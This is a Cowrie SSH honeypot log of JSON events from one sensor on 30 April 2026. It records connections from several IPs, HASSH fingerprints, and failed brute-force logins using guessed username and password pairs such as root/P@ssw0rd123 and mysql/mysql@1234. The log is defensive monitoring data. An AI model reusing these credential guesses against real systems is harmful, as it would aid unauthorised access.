{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:12.600642Z","src_ip":"176.65.139.95","session":"0eb1f324ad3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:13.189016Z","src_ip":"176.65.139.95","session":"0eb1f324ad3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:14.359342Z","src_ip":"176.65.139.95","session":"0eb1f324ad3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39220,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae60986c1e6f","protocol":"ssh","message":"New connection: 192.109.200.78:39220 (159.203.135.109:22) [session: ae60986c1e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:14.837652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:14.842704Z","src_ip":"192.109.200.78","session":"ae60986c1e6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:14.926877Z","src_ip":"192.109.200.78","session":"ae60986c1e6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:15.334344Z","src_ip":"192.109.200.78","session":"ae60986c1e6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:16.424431Z","src_ip":"192.109.200.78","session":"ae60986c1e6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57418,"dst_ip":"159.203.135.109","dst_port":22,"session":"3963a45369c4","protocol":"ssh","message":"New connection: 192.109.200.78:57418 (159.203.135.109:22) [session: 3963a45369c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:18.884376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:18.889435Z","src_ip":"192.109.200.78","session":"3963a45369c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46608,"dst_ip":"159.203.135.109","dst_port":22,"session":"4142f48ebf97","protocol":"ssh","message":"New connection: 176.65.139.95:46608 (159.203.135.109:22) [session: 4142f48ebf97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:18.919564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:18.929568Z","src_ip":"176.65.139.95","session":"4142f48ebf97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:18.971438Z","src_ip":"192.109.200.78","session":"3963a45369c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:19.037747Z","src_ip":"176.65.139.95","session":"4142f48ebf97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:19.376191Z","src_ip":"176.65.139.95","session":"4142f48ebf97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:19.503910Z","src_ip":"192.109.200.78","session":"3963a45369c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:20.465483Z","src_ip":"176.65.139.95","session":"4142f48ebf97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54248,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2edf4ccbb15","protocol":"ssh","message":"New connection: 159.203.92.129:54248 (159.203.135.109:22) [session: b2edf4ccbb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:20.551917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:20.560448Z","src_ip":"159.203.92.129","session":"b2edf4ccbb15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:20.564950Z","src_ip":"159.203.92.129","session":"b2edf4ccbb15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MARTE","password":"123456","message":"login attempt [MARTE/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:20.576556Z","src_ip":"159.203.92.129","session":"b2edf4ccbb15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:20.705947Z","src_ip":"192.109.200.78","session":"3963a45369c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:21.583136Z","src_ip":"159.203.92.129","session":"b2edf4ccbb15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57446,"dst_ip":"159.203.135.109","dst_port":22,"session":"910eced63a99","protocol":"ssh","message":"New connection: 192.109.200.78:57446 (159.203.135.109:22) [session: 910eced63a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:22.873224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:22.981411Z","src_ip":"192.109.200.78","session":"910eced63a99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:22.985875Z","src_ip":"192.109.200.78","session":"910eced63a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:23.525324Z","src_ip":"192.109.200.78","session":"910eced63a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:24.611744Z","src_ip":"192.109.200.78","session":"910eced63a99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46620,"dst_ip":"159.203.135.109","dst_port":22,"session":"24d0a3bbfe2d","protocol":"ssh","message":"New connection: 176.65.139.95:46620 (159.203.135.109:22) [session: 24d0a3bbfe2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:25.587113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:25.592615Z","src_ip":"176.65.139.95","session":"24d0a3bbfe2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:25.692392Z","src_ip":"176.65.139.95","session":"24d0a3bbfe2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:26.183490Z","src_ip":"176.65.139.95","session":"24d0a3bbfe2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.17","src_port":31448,"dst_ip":"159.203.135.109","dst_port":22,"session":"f93e6895c445","protocol":"ssh","message":"New connection: 64.62.197.17:31448 (159.203.135.109:22) [session: f93e6895c445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:26.878282Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003q\\xcan\\xf6\u0002\\xfe\\xfc~\\xc0\\x9cCI4w\\xb6\\xe0\u0006\\xbc\\xbe\\xd7\\xc1sC\u025b\\xabpR\\xeb\u01cau\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003q\\xcan\\xf6\u0002\\xfe\\xfc~\\xc0\\x9cCI4w\\xb6\\xe0\u0006\\xbc\\xbe\\xd7\\xc1sC\u025b\\xabpR\\xeb\u01cau\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:26.883808Z","src_ip":"64.62.197.17","session":"f93e6895c445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:26.887597Z","src_ip":"64.62.197.17","session":"f93e6895c445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57462,"dst_ip":"159.203.135.109","dst_port":22,"session":"29926e1c15da","protocol":"ssh","message":"New connection: 192.109.200.78:57462 (159.203.135.109:22) [session: 29926e1c15da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:27.007435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:27.011981Z","src_ip":"192.109.200.78","session":"29926e1c15da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:27.098663Z","src_ip":"192.109.200.78","session":"29926e1c15da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:27.273740Z","src_ip":"176.65.139.95","session":"24d0a3bbfe2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:27.353353Z","src_ip":"192.109.200.78","session":"29926e1c15da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:28.753808Z","src_ip":"192.109.200.78","session":"29926e1c15da","protocol":"ssh"}
